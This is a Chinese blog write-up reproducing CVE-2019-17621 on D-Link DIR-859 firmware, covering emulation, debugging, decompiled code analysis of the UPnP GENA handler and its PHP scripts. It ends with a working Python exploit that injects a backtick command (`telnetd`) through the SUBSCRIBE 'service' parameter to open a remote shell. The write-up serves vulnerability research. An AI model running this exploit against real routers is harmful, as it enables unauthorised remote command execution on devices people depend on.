当前位置:   article > 正文

openssh漏洞_DLink DIR859 RCE漏洞(CVE201917621)分析复现

cve-2019–17621复现

一、模拟运行固件

1.环境搭建

使用attifyos 中的环境进行模拟时可能会出现各种问题,后来自己搭建环境,可以正常运行。

  1. firmadyne 环境搭建: https://github.com/firmadyne/firmadyne

  2. qemu 编译安装:https://download.qemu.org/qemu-2.5.0.tar.bz2

qemu 建议使用 qemu-2.5.0 版本进行编译安装

在安装之前,请修复 linux-user/elfload.c 中elf_check_ehdr 函数的一个 bug:

插入 && ehdr->e_shentsize == sizeof(struct elf_shdr) 这个条件

修改之前:

/* Verify the portions of EHDR outside of E_IDENT for the target.   This has to wait until after bswapping the header.  */static bool elf_check_ehdr(struct elfhdr *ehdr){    return (elf_check_arch(ehdr->e_machine)            && ehdr->e_ehsize == sizeof(struct elfhdr)            && ehdr->e_phentsize == sizeof(struct elf_phdr)            && (ehdr->e_type == ET_EXEC || ehdr->e_type == ET_DYN));}

修改后:

static bool elf_check_ehdr(struct elfhdr *ehdr){    return (elf_check_arch(ehdr->e_machine)            && ehdr->e_ehsize == sizeof(struct elfhdr)            && ehdr->e_phentsize == sizeof(struct elf_phdr)      && ehdr->e_shentsize == sizeof(struct elf_shdr)            && (ehdr->e_type == ET_EXEC || ehdr->e_type == ET_DYN));}

编译:

./configure --target-list="mips-linux-user mipsel-linux-user arm-linux-user" --staticsudo make -j8
2.模拟运行固件
  1. 将 DIR859Ax_FW105b03.bin 固件复制到 firmadyne 目录下

  2. 在firmadyne 目录下执行以下命令:su

sudo surm -rf images*sh ./reset.shsudo -u postgres createdb -O firmadyne firmwaresudo -u postgres psql -d firmware < ./database/schema./sources/extractor/extractor.py -b Dlink -sql 127.0.0.1 -np -nk "DIR859Ax_FW105b03.bin" images./scripts/getArch.sh ./images/1.tar.gz  ./scripts/makeImage.sh 1        ./scripts/inferNetwork.sh 1        ./scratch/1/run.sh   
ip 信息:

70270d06a2d5059bf36796b1715d8bdb.png

配置网卡信息是,本地会生成一个与 ip 同网段的网卡: 4a17a2d95ba8534cd2b3529ce5ab8c8f.png
运行固件:./scratch/1/run.sh

0082a0aa5fb01a56b3ed176c6edc0542.png

可以看出路由器固件 ip为: 192.168.0.1

浏览器中输入 192.168.0.1 访问仿真路由器:

689bb586d5818187fe23e15d801155bc.png

    至此,固件模拟运行成功。

二、程序调试

1. 启动 mips 系统
run-mips-sys.sh脚本信息如下:
oit@ubuntu:/home/qemu-vmsys/mips$ cat run-mips-sys.shsudo qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda

4afb882a78628310f9c2b1ac6991285e.png

其中, msb_mips_gdbserver 是静态的 gdbserver, 之后用于 固件系统中程序的调试。信息如下:

oit@ubuntu:/home/qemu-vmsys/mips$ file ./msb_mips_gdbserver ./msb_mips_gdbserver: ELF 32-bit MSB  executable, MIPSMIPS-I version 1 (SYSV), statically linked, not stripped
执行脚本启动 mips 系统:  run-mips-sys.sh 输入  longin:root Password:root da58e152c57afb3fda7b9b7d0d56d603.png
2.挂载固件跟文件系统

解包固件:binwalk -Me DIR859Ax_FW105b03.bin

oit@ubuntu:~/tools/Template/dir_859binwalk -Me ./DIR859Ax_FW105b03.binoit@ubuntu:~/tools/Template/dir_859cd _DIR859Ax_FW105b03.bin.extracted

efc0bdeb9a52367c7d5c4d4e3ad5e986.png

将跟文件系统 squashfs-root 和 msb_mips_gdbserver 传到 debian-mips系统中:

0778bc92a3e253d7cac4309aaf4ee551.png将 msb_mips_gdbserver 复制到 squashfs-root 目录下:

cp ./msb_mips_gdbserver ./squashfs-root

挂载跟文件系统并启动:命令如下:

root@debian-mips:~#mount -o bind /dev/ ./squashfs-root/dev/root@debian-mips:~#mount -t proc /proc/ ./squashfs-root/proc/root@debian-mips:~#chroot ./squashfs-root sh

查看文件系统中运行的进程:

chroot ./squashfs-root shroot@debian-mips:~# chroot ./squashfs-root/ sh BusyBox v1.14.1 (2016-06-28 10:53:08 CST) built-in shell (msh) Enter 'help' for a list of built-in commands.  # ps   PID USER       VSZ STAT COMMAND     1 0         2660 S    init [2]        2 0            0 SW   [kthreadd]     3 0            0 SW   [ksoftirqd/0]     6 0            0 SW   [watchdog/0]     7 0            0 SW<  [cpuset]     8 0            0 SW<  [khelper]     9 0            0 SW   [kdevtmpfs]  ...  2389 0        11144 S    sshd: root@pts/0    2391 0         6108 S    -bash   2399 0         2588 S    /usr/lib/openssh/sftp-server   2583 0            0 SW   [kworker/0:1]  2896 0        11012 S    sshd: root@notty    2898 0         2588 S    /usr/lib/openssh/sftp-server   2937 0            0 SW   [kworker/0:0]  3036 0            0 SW   [flush-8:0]  3052 0            0 SW   [kworker/0:2]  3057 0          856 S    sh   3058 0          748 R    ps   #  

查看网络:

1b79068bea7f1d66b7b5d63dd4741476.png由此可知,跟文件系统在mips系统中成功挂载并运行。

3. 程序调试测试:msb_mips_gdbserver、IDA

这里测试 /htdocs/cgibin 文件的远程调试( /htdocs/cgibin 后面会用到)

a. 执行 ./msb_mips_gdbserver 192.168.126.150:1234 /htdocs/cgibin

    远程ip: 192.168.126.150

    监听端口:1234    

    /htdocs/cgibin:调试程序

7bccc722af50b8e095307bb904904fed.png

b. 将 /htdocs/cgibin 复制到 pc下,用ida打开

 在main 函数处下断点,按 F9运行->选择Remote GDB debuger

7363fa174f579ba3ab6982df00d7684c.png

     点击OK,输入Hostname 和 Port:(启动gdbserver 时设置的 )

    Hostname: 192.168.126.150

    Port:1234

2e55bd67acee0f4212def6ab00ed81e0.png

    点击OK,出现调试界面

c329f646468ff5dec1745d7cb75e6064.png

    F9 运行,执行到刚才main 函数断点处

388cc4f67d993a7e8d4bd2f3c214c8ff.png

    由此可以看到,一切正常,说明环境配置及远程调试没有问题。

三、漏洞分析

对于漏洞分析,参考原文:https://blog.csdn.net/NOSEC2019/article/details/103823845根据纰漏,可知远程代码执行漏洞在UPnP请求的代码中。

1. UPnP协议栈
UPnP是实现智能设备端到端网络连接的结构。 它也是一种架构在TCP/IP和HTTP技术之上的,分布式、开放的网络结构,以使得在联网的设备间传递控制和数据。 UPnP 技术实现了 控制点、 设备和 服务之间通讯的支持,并且设备和相关服务的也使用XML定义并且公布出来。 使用UPnP,设备可以动态加入网络,自动获得一个IP地址,向其他设备公布它的能力或者获知其他设备的存在和服务,所有这些过程都是自动完成的,此后设备能够彼此直接通讯。
UPnP不需要设备驱动程序,因此使用UPnP建立的网络是介质无关的。 同时UPnP使用标准的TCP/IP和网络协议,使它能够无缝的融入现有网络。 构造UPnP应用程序时可以使用任何语言,并在任何操作系统平台上编译运行。 对于设备的描述,使用HTML表单表述设备控制界面。 它既允许设备供应商提供基于浏览器的用户界面和编程控制接口,也允许开发人员定制自己的设备界面。
2. 漏洞所在位置
在满足一定前置条件情况下,二进制可执行文件/htdocs/cgibin中的genacgi_main()函数包含了可远程执行代码的漏洞。
使用 ghidra 查看 genacgi_main() 函数的反编译代码:
undefined4 genacgi_main(void){  char *pcVar1;  char *env_http_callback;  char *__s1;  char *env_http_nt;  char *env_REMOTE_ADDR;  size_t sVar2;  __pid_t pid;  __pid_t _Var3;  char *pcVar4;  undefined4 uVar5;  int iVar6;  int iVar7;  int iVar8;  char buf8 [8];  char acStack528 [500];  undefined *local_18;    local_18 = &_gp;  pcVar4 = getenv("REQUEST_METHOD");  if (pcVar4 == (char *)0x0) {    return 0xffffffff;  }                    /* getenv */  uVar5 = (**(code **)(local_18 + -0x7c90))("REQUEST_URI");                    /* strchr */  iVar6 = (**(code **)(local_18 + -0x7f78))(uVar5,0x3f);  if (iVar6 == 0) {    return 0xffffffff;  }                    /* strncmp */  iVar7 = (**(code **)(local_18 + -0x7d44))(iVar6,"?service=",9);  if (iVar7 != 0) {    return 0xffffffff;  }                    /* strcasecmp */  iVar7 = (**(code **)(local_18 + -0x7d30))(pcVar4,"SUBSCRIBE");  uri_service = iVar6 + 9;  if (iVar7 != 0) {    iVar6 = (**(code **)(local_18 + -0x7d30))(pcVar4,"UNSUBSCRIBE");    if (iVar6 != 0) {      return 0xffffffff;    }    pcVar4 = getenv("SERVER_ID");    if ((((pcVar4 == (char *)0x0) || (pcVar4 = getenv("HTTP_SID"), pcVar4 == (char *)0x0)) ||        (pcVar4 = getenv("HTTP_CALLBACK"), pcVar4 != (char *)0x0)) ||       (pcVar4 = getenv("HTTP_NT"), pcVar4 != (char *)0x0)) {      cgibin_print_http_status(400,0x420554,0x420554);    }    else {      pcVar4 = getenv("SERVER_ID");      getenv("HTTP_SID");      sprintf(acStack528,"%s\nINF_UID=%s\nSERVICE=%s\nMETHOD=UNSUBSCRIBE\nSID=%s\n",              "/htdocs/upnp/run.NOTIFY.php",pcVar4);      xmldbc_ephp(0,0,acStack528,stdout);    }    return 0;  }  env_server_id = getenv("SERVER_ID");  env_http_sid = getenv("HTTP_SID");  env_http_callback = getenv("HTTP_CALLBACK");  env_http_timeout = getenv("HTTP_TIMEOUT");  env_http_nt = getenv("HTTP_NT");  env_REMOTE_ADDR = getenv("REMOTE_ADDR");  if (env_http_sid == (char *)0x0) {    iVar7 = strcmp(env_http_nt,"upnp:event");    uVar5 = 0x19c;    if ((iVar7 == 0) && (env_http_callback != (char *)0x0)) {      iVar7 = strcasecmp(env_http_timeout,"Second-infinite");      time_out = 0;      if (iVar7 != 0) {        iVar7 = strncasecmp(env_http_timeout,"Second-",7);        uVar5 = 400;        if (iVar7 != 0) goto LAB_004103d8;        time_out = atoi(env_http_timeout + 7);      }      sVar2 = strlen(env_http_callback);      if (env_http_callback[sVar2 - 1] == '>') {        env_http_callback[sVar2 - 1] = '\0';      }      env_http_callback = env_http_callback + (uint)(*env_http_callback == ');      iVar7 = strncmp(env_http_callback,"http://",7);      uVar5 = 0x19c;      if (iVar7 == 0) {        http_callbak_uri = strchr(env_http_callback + 7,0x2f);        if (http_callbak_uri != (char *)0x0) {          *http_callbak_uri = '\0';          pid = getpid();          sprintf(buf8,                  "%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nHOST=%s\nURI=/%s\nTIMEOUT=%d\nREMOTE=%s\nSHELL_FILE=%s/%s_%d.sh"                  ,"/htdocs/upnp/run.NOTIFY.php",env_server_id,uri_service,env_http_callback + 7, http_callbak_uri+ 1,time_out                  ,env_REMOTE_ADDR,"/var/run",uri_service,pid);          xmldbc_ephp(0,0,buf8,stdout);          fflush(stdout);          _Var3 = getpid();          sprintf(buf8,"NOTIFY:0:sh %s/%s_%d.sh","/var/run",iVar6,_Var3);          xmldbc_timer(0,0,buf8);          return 0;        }        uVar5 = 0x19c;      }    }  }  else {    uVar5 = 400;    if ((env_http_callback == (char *)0x0) && (env_http_nt == (char *)0x0)) {      iVar7 = strcasecmp(__s1,"Second-infinite");      iVar8 = 0;      if (iVar7 != 0) {        iVar7 = strncasecmp(__s1,"Second-",7);        uVar5 = 400;        if (iVar7 != 0) goto LAB_004103d8;        iVar8 = atoi(__s1 + 7);      }      sprintf(buf8,              "%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nSID=%s\nTIMEOUT=%d\nSHELL_FILE=%s/%s.sh"              ,"/htdocs/upnp/run.NOTIFY.php",pcVar4,iVar6,pcVar1,iVar8,"/var/run",iVar6);      xmldbc_ephp(0,0,buf8,stdout);      return 0;    }  }LAB_004103d8:  cgibin_print_http_status(uVar5,0x420554,0x420554);  return 0;}

在反编译代码中,sprintf()设置了一个包含所有值的缓冲区,其中函数参数 ?service=及其值,随后由 xmldbc_ephp()函数(最后调用send())将“buffer8”中包含的数据发送给PHP。

sprintf(buf8,"%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nHOST=%s\nURI=/%s\nTIMEOUT=%d\nREMOTE=%s\nSHELL_FILE=%s/%s_%d.sh" ,"/htdocs/upnp/run.NOTIFY.php",env_server_id,uri_service,env_http_callback + 7, http_callbak_uri+ 1,time_out ,env_REMOTE_ADDR,"/var/run",uri_service,pid);xmldbc_ephp(0,0,buf8,stdout);

根据反汇编代码,可以看出,sprintf()用于连接多个变量的值,填充一个缓冲区,设置要传递的新变量,其中SHELL_FILE将以格式%s_%d.sh进行传递,主要用于为新的shell脚本命名。根据执行 sprintf() 成立的条件,调试时需要设置以下环境变量

export REQUEST_URI="SUBSCRIBE /gena.cgi?service=\`telnetd\`"export REMOTE_ADDR="192.168.126.150"export REQUEST_METHOD="SUBSCRIBE"export CONTENT_TYPE="application/x-www-form-urlencoded"export HTTP_COOKIE="aaaaaaaa"export HTTP_TIMEOUT="Second-1800"export HTTP_NT="upnp:event"export HTTP_CALLBACK="/"

修复环境:

mkdir -p /var/htdocs/upnp/LAN-1/ln -s /htdocs/cgibin   /var/htdocs/upnp/LAN-1/gena.cgi

调试程序,执行到 sprintf:

./gdbserver_msb 192.168.126.150:1234 /var/htdocs/upnp/LAN-1/gena.cgi

数据被复制到“buffer8”缓冲区后,内存中的数据设置如下:943707a0f3ad1562778d83d7d3105745.png

缓冲区中的数据,经过xmldbc_ephp处理,由PHP文件run.NOTIFY.php进行处理,如下:

void xmldbc_ephp(undefined4 param_1,undefined4 param_2,char *pbuf8,int stdout){  size_t buf_size;    buf_size = strlen(pbuf8);  buf_size._2_2_ = (short)buf_size;  FUN_0041420c(param_1,10,param_2,pbuf8,buf_size._2_2_ + 1,stdout);  return;}undefined4FUN_0041420c(undefined4 param_1,uint param_2,undefined4 param_3,void *pbuf,ushort buf_size,            int in_stdout){  int fd;  int iVar1;  undefined4 uVar2;    fd = _connect();  uVar2 = 0xffffffff;  if (-1 < fd) {    iVar1 = FUN_00413810(fd,(short)param_2,param_3,pbuf,buf_size);    uVar2 = 0xffffffff;    if (-1 < iVar1) {      if (in_stdout == 0) {        in_stdout = stdout;      }      FUN_00414094(fd,in_stdout);      uVar2 = 0;    }    close(fd);  }  return uVar2;}int _connect(char *pcParm1){  int __fd;  int iVar1;  int iVar2;  sockaddr local_80 [7];    __fd = socket(1,2,0);  if (__fd < 0) {    iVar2 = -1;  }  else {    fcntl(__fd,2,1);    if (pcParm1 == (char *)0x0) {      pcParm1 = "/var/run/xmldb_sock";    }    local_80[0].sa_family = 1;    snprintf(local_80[0].sa_data,0x6c,"%s",pcParm1);    iVar1 = connect(__fd,local_80,0x6e);    iVar2 = __fd;    if (iVar1 < 0) {      iVar2 = -1;      close(__fd);    }  }  return iVar2;}

流程: buf8->xmldbc_ephp->FUN_0041420c->_connect-> connect

run.NOTIFY.php文件

include "/htdocs/phplib/upnp/xnode.php";include "/htdocs/upnpinc/gvar.php";include "/htdocs/upnpinc/gena.php";$gena_path = XNODE_getpathbytarget($G_GENA_NODEBASE, "inf", "uid", $INF_UID, 1);$gena_path = $gena_path."/".$SERVICE;GENA_subscribe_cleanup($gena_path);/* IGD services */if    ($SERVICE == "L3Forwarding1")  $php = "NOTIFY.Layer3Forwarding.1.php";else if ($SERVICE == "OSInfo1")      $php = "NOTIFY.OSInfo.1.php";else if ($SERVICE == "WANCommonIFC1")  $php = "NOTIFY.WANCommonInterfaceConfig.1.php";else if ($SERVICE == "WANEthLinkC1")  $php = "NOTIFY.WANEthernetLinkConfig.1.php";else if ($SERVICE == "WANIPConn1")    $php = "NOTIFY.WANIPConnection.1.php";/* WFA services */else if ($SERVICE == "WFAWLANConfig1")  $php = "NOTIFY.WFAWLANConfig.1.php";if ($METHOD == "SUBSCRIBE"){  if ($SID == "")    GENA_subscribe_new($gena_path, $HOST, $REMOTE, $URI, $TIMEOUT, $SHELL_FILE, "/htdocs/upnp/".$php, $INF_UID);  else    GENA_subscribe_sid($gena_path, $SID,  $TIMEOUT);}else if ($METHOD == "UNSUBSCRIBE"){  GENA_unsubscribe($gena_path, $SID);}?>

根据环境的设置,该脚本会调用PHP 函数 GENA_subscribe_new(),并传递cgibin程序中genacgi_main()函数获得的变量,还包括变量SHELL_FILE

根据搜索,可知 GENA_subscribe_new()定义在 gena.php文件中

gena.php文件:

include "/htdocs/phplib/xnode.php";include "/htdocs/phplib/trace.php";include "/htdocs/phplib/phyinf.php";function GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $sid){  $inf_path = XNODE_getpathbytarget("", "inf", "uid", $inf_uid, 0);  if ($inf_path=="")  {    TRACE_debug("can't find inf_path by $inf_uid=".$inf_uid."!");    return "";  }  $phyinf = PHYINF_getifname(query($inf_path."/phyinf"));  if ($phyinf == "")  {    TRACE_debug("can't get phyinf by $inf_uid=".$inf_uid."!");    return "";  }  $upnpmsg = query("/runtime/upnpmsg");  if ($upnpmsg == "") $upnpmsg = "/dev/null";  fwrite(w, $shell_file,    "#!/bin/sh\n".    'echo "[$0] ..." > '.$upnpmsg."\n".    "xmldbc -P ".$target_php.      " -V INF_UID=".$inf_uid.      " -V HDR_URL=".$uri.      " -V HDR_HOST=".$host.      " -V HDR_SID=".$sid.      " -V HDR_SEQ=0".      " | httpc -i ".$phyinf." -d \"".$host."\" -p TCP > ".$upnpmsg."\n"  );  fwrite(a, $shell_file, "rm -f ".$shell_file."\n");}/***************************************************************//* construct the NOTIFY request event header */function GENA_notify_req_event_hdr($url, $host, $content_len, $sid, $seq, $outputfile){  if ($outputfile!="")  {    fwrite("w", $outputfile, "NOTIFY ".$url." HTTP/1.1\r\n");    fwrite("a", $outputfile, "HOST: ".$host."\r\n");    fwrite("a", $outputfile, "CONTENT-TYPE: text/xml\r\n");    fwrite("a", $outputfile, "CONTENT-LENGTH: ".$content_len."\r\n");    fwrite("a", $outputfile, "NT: upnp:event\r\n");    fwrite("a", $outputfile, "NTS: upnp:propchange\r\n");    fwrite("a", $outputfile, "SID: ".$sid."\r\n");    fwrite("a", $outputfile, "SEQ: ".$seq."\r\n\r\n");  }  else  {    echo "NOTIFY ".$url." HTTP/1.1\r\n";    echo "HOST: ".$host."\r\n";    echo "CONTENT-TYPE: text/xml\r\n";    echo "CONTENT-LENGTH: ".$content_len."\r\n";    echo "NT: upnp:event\r\n";    echo "NTS: upnp:propchange\r\n";    echo "SID: ".$sid."\r\n";    echo "SEQ: ".$seq."\r\n\r\n";  }}function GENA_subscribe_http_resp($sid, $timeout){  /* Generate HTTP header */  echo "HTTP/1.1 200 OK\r\n";  echo "SID: ".$sid."\r\n";  echo "TIMEOUT: ";  if ($timeout == 0) echo "Second-infinite";  else echo "Second-".$timeout;  echo "\r\n\r\n";}function GENA_subscribe_cleanup($node_base){  $curr_time = query("/runtime/device/uptime");  anchor($node_base);  $count = query("subscription#");  while ($count > 0)  {    $tout = query("subscription:".$count."/timeout");    if ($tout > 0 && $tout < $curr_time) del("subscription:".$count);    $count--;  }}function GENA_subscribe_new($node_base, $host, $remote, $uri, $timeout, $shell_file, $target_php, $inf_uid){  anchor($node_base);  $count = query("subscription#");  $found = 0;  /* find subscription index & uuid */  foreach ("subscription")  {    if (query("host")==$host && query("uri")==$uri)  {$found = $InDeX; break;}  }  if ($found == 0)  {    $index = $count + 1;    $new_uuid = "uuid:".query("/runtime/genuuid");  }  else  {    $index = $found;    $new_uuid = query("subscription:".$index."/uuid");  }  /* get timeout */  if ($timeout==0 || $timeout=="") {$timeout = 0; $new_timeout = 0;}  else {$new_timeout = query("/runtime/device/uptime") + $timeout;}  /* set to nodes */  set("subscription:".$index."/remote",  $remote);  set("subscription:".$index."/uuid",    $new_uuid);  set("subscription:".$index."/host",    $host);  set("subscription:".$index."/uri",    $uri);  set("subscription:".$index."/timeout",  $new_timeout);  set("subscription:".$index."/seq", "1");  GENA_subscribe_http_resp($new_uuid, $timeout);  GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $new_uuid);}function GENA_subscribe_sid($node_base, $sid, $timeout){  ...}function GENA_unsubscribe($node_base, $sid){  ...}?>

GENA_subscribe_new功能上分析可知函数并不修改 $shell_file 变量。GENA_subscribe_new传递$shell_file 到 GENA_notify_init函数,也是shell_file最终处理的地方:通过调用 PHP 函数fwrite()创建新文件。

fwrite() 函数被使用了两次:

第一次创建文件,文件名由 可控的 SHELL_FILE变量(uri_service)以及

getpid()组成:

baf196547727deda25b8dea55459b8ec.png

第二次调用fwrite()向文件中添加 删除命令 "rm -f ".$shell_file."\n",(漏洞点触发原因):

进行攻击时,只需要插入一个反引号包裹的系统命令,将其注入到shell 脚本中。在脚本执行 rm 命令时因遇到 反引号而失败,继续执行引号里面的系统命令,从而达到远程命令执行漏洞的触发。所以,只要控制好 "/gena.cgi?service=shell_file"中 shell_file的内容为 反引号包裹的系统命令,就可以触发漏洞。

四、执行exp,获取shell

1. 模拟运行路由器固件(见 一、),查看端口:
58e6c772de9aafdeee91051e9d7333cf.png
使用49152 端口
1066d9576cb6ff14d4fb08e387cd3d26.png
2. exp:
import socketimport osfrom time import sleepdef httpSUB(server, port, shell_file):    con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    Payload = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n"    Payload += "Host: " + str(server) + str(port) + "\n"    Payload += "Callback: \n"    Payload += "NT: upnp:event\n"    Payload += "Timeout: Second-1800\n"    Payload += "Accept-Encoding: gzip, deflate\n"    Payload += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n"    sleep(1)    print('[*] Sending Payload')    con.connect((socket.gethostbyname(server),port))    con.send(Payload.encode())    results = con.recv(4096)    sleep(1)    print('[*] Running Telnetd Service')serverInput = raw_input('IP Router: ')portInput = 49152httpSUB(serverInput, portInput, '`telnetd`')

执行exp:python poc.py,查看服务:

通过漏洞,开启telnetd服务:

1fd755478a16d383fe67278ea2b5944f.png执行 telnet 192.168.0.1 ,获取shell

a5a201c12aa66962c84132444b00547a.png

成功利用漏洞。

参考链接:

https://blog.csdn.net/NOSEC2019/article/details/103823845

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/知新_RL/article/detail/623102
推荐阅读
相关标签
  

闽ICP备14008679号